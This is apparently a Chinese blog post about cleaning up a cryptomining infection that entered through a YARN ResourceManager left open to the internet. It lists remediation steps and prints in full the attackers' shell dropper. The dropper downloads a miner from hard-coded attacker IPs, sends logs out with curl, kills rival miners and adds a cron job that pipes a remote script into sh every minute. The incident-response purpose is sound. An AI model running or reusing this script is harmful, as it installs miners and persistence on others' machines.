YARN Resourcemanager引入挖矿病毒的经历

原因

由于同事为了测试方便,把YARN RM的8088对外网开放了,导致攻击者可以通过RM 的rest api直接可以提交应用。

解决参考博客

https://labitacoranet.wordpress.com/2018/05/16/forensic-analysis-of-a-cryptocurrency-mining-attack-in-a-big-data-cluster/

我解决的办法

  1. 关闭外网映射端口
  2. 删除伪装的可执行程序
  3. 查看相应的进程 ps aux | grep /var/tmp/java ,然后杀掉进程
  4. 通过bin/yarn application -list 列出应用,查看不是内部提交的应用,通过bin/yarn application -kill {appid} 杀掉进程
  5. crontab -e 删除定时下载任务
  6. 后期维护 yarn使用权限模块。

下面是远程下载的shell脚本 挖矿病毒的可执行脚本

#!/bin/bash

pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
rm -rf /var/tmp/pscf*
rm -rf /tmp/pscf*
DIR="/tmp"
if [ -a "/tmp/java" ]
then
    if [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /tmp/java | awk '{ print $1 }')
            echo $sum
            case $sum in
                183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                    echo "Java OK"
                ;;
                *)
                    echo "Java wrong"
                    pkill -f w.conf
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/tmp/java" ]
then
    DIR=$(mktemp -d)/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="185.222.210.59"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/java ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
            ;;
            *)
                echo "Java wrong"
                sizeBefore=$(du $DIR/java)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                echo "" > $DIR/tmp.txt
                rm -rf $DIR/java
                download

                if [ -x "$(command -v md5sum)" ]
                then
                    sum=$(md5sum $DIR/java | awk '{ print $1 }')
                    echo $sum
                    case $sum in
                        183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                            echo "Java OK"
                            cp $DIR/java $DIR/ppc
                        ;;
                        *)
                            $WGET $DIR/java https://transfer.sh/6H16m/zzz > $DIR/tmp.txt 2>&1
                            echo "Java wrong"
                            sum=$(md5sum $DIR/java | awk '{ print $1 }')
                            case $sum in
                                183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                                    echo "Java OK"
                                    cp $DIR/java $DIR/ppc
                                ;;
                                *)
                                    echo "Java wrong2"
                                ;;
                            esac
                        ;;
                    esac
                else
                    echo "No md5sum"
                fi

                sumAfter=$(md5sum $DIR/java | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/java` >> $DIR/tmp.txt
                    curl -F "file=@$DIR/tmp.txt" http://$f2/re.php
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/ppc | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/ppc $DIR/java
            ;;
            *)
                echo "Java wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    f1=$(curl 185.222.210.59/g.php)
    if [ -z "$f1" ];
    then
        f1=$(wget -q -O - 185.222.210.59/g.php)
    fi

    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/java http://$f1/xm64?$RANDOM
    else
        $WGET $DIR/java http://$f1/xm32?$RANDOM
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/java | awk '{ print $1 }')
        echo $sum
        case $sum in
            183664ceb9c4d7179d5345249f1ee0c4 | b00f4bbd82d2f5ec7c8152625684f853)
                echo "Java OK"
                cp $DIR/java $DIR/ppc
            ;;
            *)
                echo "Java wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}


if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];
then
    downloadIfNeed
    chmod +x $DIR/java
    $WGET $DIR/w.conf http://$f2/w.conf
    nohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &
    sleep 5
    rm -rf $DIR/w.conf
else
    echo "Running"
fi
if crontab -l | grep -q "185.222.210.59"
then
    echo "Cron exists"
else
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
    (crontab -l 2>/dev/null; echo "* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -
fi
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -

另一问题

如果发现进程不在,但是在安装的时候,提示进程已经启动,然后让你关闭它。
这样的问题是由于主机或者服务异常关机或停止,pid文件没有及时的被删除或者没有被标记过时,再次启动的时候,服务进程会检查pid文件,如果存在,就不再启动进程。
解决很简单,找到相应的pid文件,删除掉,OK。另外,我还写过关于/tmp 文件存留的文章,最后不要把pid文件放到/tmp目录下,以免服务在启动或者关闭的时候,发生异常。
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值